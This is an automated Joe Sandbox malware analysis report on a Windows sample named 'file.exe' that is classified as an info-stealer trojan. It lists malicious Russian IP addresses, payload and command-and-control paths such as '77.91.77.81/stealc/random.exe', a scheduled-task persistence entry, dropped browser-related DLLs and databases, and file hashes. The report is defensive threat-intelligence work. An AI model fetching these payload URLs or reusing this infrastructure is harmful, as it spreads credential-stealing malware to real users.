https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	GCGCFCBA.0.dr	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta	file.exe, 00000000.00000002.1382358671.0000000001704000.00000004.00000020.00020000.00000000.sdmp, HCFIIIJJKJKFHIDGDBAK.0.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
77.91.77.81	unknown	Russian Federation	42861	FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	true
85.28.47.4	unknown	Russian Federation	31643	GES-ASRU	true
77.91.77.82	unknown	Russian Federation	42861	FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1466009
Start date and time:	2024-07-02 12:20:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 37s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	32
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@20/30@0/3
EGA Information:	Successful, ratio: 40%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target IIEBGIDAAF.exe, PID 7812 because it is empty
Execution Graph export aborted for target explorti.exe, PID 744 because there are no executed function
Execution Graph export aborted for target explorti.exe, PID 8176 because there are no executed function
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
07:24:54	API Interceptor	11055233x Sleep call for process: explorti.exe modified
12:21:18	Task Scheduler	Run new task: explorti path: C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
77.91.77.81	SecuriteInfo.com.Win32.PWSX-gen.20622.25663.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	Wf9qnVcbi8.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	setup.exe	Get hash	malicious	Amadey	Browse	77.91.77.81/Kiru9gu/index.php
	1719859269.0326595_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, Xmrig	Browse	77.91.77.81/stealc/random.exe
	Rnteb46TuM.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	8vZMEr8sm9.exe	Get hash	malicious	Amadey	Browse	77.91.77.81/stealc/random.exe
	1jPL5zru3u.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/mine/amadka.exe
	Zachv5lCuu.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	1719520929.094843_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PrivateLoader, PureLog Stealer, Socks5Systemz, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	j7iUba2bki.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
85.28.47.4	SecuriteInfo.com.Win32.PWSX-gen.20622.25663.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	Wf9qnVcbi8.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	1719859269.0326595_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, Xmrig	Browse	85.28.47.4/920475a59bac849d.php
	Rnteb46TuM.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	1jPL5zru3u.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	Zachv5lCuu.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	1719520929.094843_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PrivateLoader, PureLog Stealer, Socks5Systemz, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	UjgmwyFttK.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/69934896f997d5bb/sqlite3.dll
	j7iUba2bki.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4/920475a59bac849d.php
	1Cvd8TyYPm.exe	Get hash	malicious	LummaC, Mars Stealer, PureLog Stealer, Stealc, Vidar, Xmrig, zgRAT	Browse	85.28.47.4/920475a59bac849d.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	https://drive.google.com/file/d/136ovnD62cwekGHQcz2rdHGNitd3tUNck/view?usp=sharing_eip_m&ts=6682d44d	Get hash	malicious	Unknown	Browse	77.91.77.5
	https://drive.google.com/file/d/1D-RSHnHV853uproVdm_FqLilvp6WEgCv/view?ts=6682d412	Get hash	malicious	Unknown	Browse	77.91.77.5
	SecuriteInfo.com.Win32.PWSX-gen.20622.25663.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	Wf9qnVcbi8.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	setup.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, SmokeLoader, Stealc	Browse	77.91.77.81
	setup.exe	Get hash	malicious	Amadey	Browse	77.91.77.81
	1719859269.0326595_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, Xmrig	Browse	77.91.77.80
	Rnteb46TuM.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	8vZMEr8sm9.exe	Get hash	malicious	Amadey	Browse	77.91.77.82
	1jPL5zru3u.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
GES-ASRU	SecuriteInfo.com.Win32.PWSX-gen.20622.25663.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	Wf9qnVcbi8.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	setup.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, SmokeLoader, Stealc	Browse	85.28.47.7
	1719859269.0326595_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, Xmrig	Browse	85.28.47.4
	Rnteb46TuM.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	1jPL5zru3u.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	Zachv5lCuu.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	1719520929.094843_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PrivateLoader, PureLog Stealer, Socks5Systemz, Stealc, Vidar	Browse	85.28.47.4
	UjgmwyFttK.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	j7iUba2bki.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	https://drive.google.com/file/d/136ovnD62cwekGHQcz2rdHGNitd3tUNck/view?usp=sharing_eip_m&ts=6682d44d	Get hash	malicious	Unknown	Browse	77.91.77.5
	https://drive.google.com/file/d/1D-RSHnHV853uproVdm_FqLilvp6WEgCv/view?ts=6682d412	Get hash	malicious	Unknown	Browse	77.91.77.5
	SecuriteInfo.com.Win32.PWSX-gen.20622.25663.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	Wf9qnVcbi8.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	setup.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, SmokeLoader, Stealc	Browse	77.91.77.81
	setup.exe	Get hash	malicious	Amadey	Browse	77.91.77.81
	1719859269.0326595_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, Xmrig	Browse	77.91.77.80
	Rnteb46TuM.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	8vZMEr8sm9.exe	Get hash	malicious	Amadey	Browse	77.91.77.82
	1jPL5zru3u.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	SecuriteInfo.com.Win32.PWSX-gen.20622.25663.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	i3NmF0obCm.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	Wf9qnVcbi8.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	setup.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, SmokeLoader, Stealc	Browse
	1719859269.0326595_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, Xmrig	Browse
	jlO7971vUz.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	Rnteb46TuM.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	1jPL5zru3u.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	Zachv5lCuu.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	1719520929.094843_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PrivateLoader, PureLog Stealer, Socks5Systemz, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	SecuriteInfo.com.Win32.PWSX-gen.20622.25663.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	i3NmF0obCm.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	Wf9qnVcbi8.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	setup.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, SmokeLoader, Stealc	Browse
	1719859269.0326595_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, Xmrig	Browse
	jlO7971vUz.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	Rnteb46TuM.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	1jPL5zru3u.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	Zachv5lCuu.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	1719520929.094843_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PrivateLoader, PureLog Stealer, Socks5Systemz, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BGHIDGCAFCBAAAAAFHDAEHCFIE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.848598812124929
Encrypted:	false
SSDEEP:	24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
MD5:	9664DAA86F8917816B588C715D97BE07
SHA1:	FAD9771763CD861ED8F3A57004C4B371422B7761
SHA-256:	8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
SHA-512:	E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBKEGCAEGIIJKFIEHIJE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GCGCFCBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCFIIIJJKJKFHIDGDBAK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	9370
Entropy (8bit):	5.514140640374404
Encrypted:	false
SSDEEP:	192:lLnSRkPYbBp6tqUCaXr6V6kHNBw8D3nSl:NeqqUWpPwK0
MD5:	7E44458E0A8A3A7D10875BC3B7AE72D1
SHA1:	E5E6AC8676EE3761DAB13A10EB7573C19F48D297
SHA-256:	21A04E176A9CEBDA60AE6FD82A7495C6E0867ED02B8009A44DDC9863E14D8753
SHA-512:	012ED6CDC0802AA1063EFE841549341CC86EB626A26FC4BDC509598D8E33093296510344A2CC4419B007F6191F3445DA8F0AAE3B1626E54C1EF66DDDF3FA59B1
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696491690);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\HCFIIIJJKJKFHIDGDBAKJEBKEG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03786218306281921
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWB2IGKhNbxrO3Dpvu2HI:58r54w0VW3xWB2ohFQ3Y2
MD5:	4BB4A37B8E93E9B0F5D3DF275799D45E
SHA1:	E27DF7CC49B0D145140C119A99C1BBAA9ECCE8F7
SHA-256:	89BC0F21671C244C40A9EA42893B508858AD6E1E26AC16F2BD507C3E8CBB3CF7
SHA-512:	F2FC9067EF11DC3B719507B97C76A19B9E976D143A2FD11474B8D2A2848A706AFCA316A95FEEBA644099497A95E1C426CDAB923D5A70619018E1543FEF3182DB
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIDHDGDHJEGHIDGDHCGCBAKFHI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJEHIJEBKEBFBFHIIDHIIDGIJE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKKEHJDH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1215420383712111
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	9A809AD8B1FDDA60760BB6253358A1DB
SHA1:	D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
SHA-256:	95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
SHA-512:	2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKJKFBKKECFHJKEBKEHI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: SecuriteInfo.com.Win32.PWSX-gen.20622.25663.exe, Detection: malicious, Browse Filename: i3NmF0obCm.exe, Detection: malicious, Browse Filename: Wf9qnVcbi8.exe, Detection: malicious, Browse Filename: setup.exe, Detection: malicious, Browse Filename: 1719859269.0326595_setup.exe, Detection: malicious, Browse Filename: jlO7971vUz.exe, Detection: malicious, Browse Filename: Rnteb46TuM.exe, Detection: malicious, Browse Filename: 1jPL5zru3u.exe, Detection: malicious, Browse Filename: Zachv5lCuu.exe, Detection: malicious, Browse Filename: 1719520929.094843_setup.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: SecuriteInfo.com.Win32.PWSX-gen.20622.25663.exe, Detection: malicious, Browse Filename: i3NmF0obCm.exe, Detection: malicious, Browse Filename: Wf9qnVcbi8.exe, Detection: malicious, Browse Filename: setup.exe, Detection: malicious, Browse Filename: 1719859269.0326595_setup.exe, Detection: malicious, Browse Filename: jlO7971vUz.exe, Detection: malicious, Browse Filename: Rnteb46TuM.exe, Detection: malicious, Browse Filename: 1jPL5zru3u.exe, Detection: malicious, Browse Filename: Zachv5lCuu.exe, Detection: malicious, Browse Filename: 1719520929.094843_setup.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
